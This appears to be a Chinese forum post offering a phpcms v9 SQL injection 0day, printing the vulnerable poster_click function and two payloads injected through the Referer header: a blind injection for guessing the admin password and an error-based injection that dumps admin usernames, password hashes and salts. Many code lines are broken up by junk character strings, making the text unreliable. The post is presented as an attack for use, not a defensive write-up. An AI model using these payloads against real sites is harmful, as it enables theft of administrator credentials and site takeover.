phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

- Z" O4 `, e! D/ ?问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
2 Q6 ^1 _& ]6 g7 I1 J5 K$ip_area = pc_base::load_sys_class('ip_area');
7 C% C& r/ A0 l1 U' i$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
2 A. |. O2 j, t9 z! R4 `: E% Hif($id) {
, E5 [3 e5 _6 s8 ^$ ^$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
) ~7 W" W0 b1 R3 w' d/ @: D$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
5 H5 Z+ M2 s& I8 w# K. F$url = $setting['1']['linkurl'];
} else {
* L+ u3 P- }, i% k) ^$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
& O; y/ u% f% y, D7 f' ?4 G! Lheader('Location: '.$url);
* |' u2 \# V, c0 q8 J: ^}


6 T: j3 m* t( v- Y& r) j! G* Q
# `" z% E3 E( `% O. R利用方式：
+ Q' {; r7 ^/ s& R! r
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

! G: V6 z; D) i* R通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

0 ^' x6 F9 B1 W6 V: }3 y1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; f3 \$ L4 t; O
此方法是爆错注入手法，原理自查。
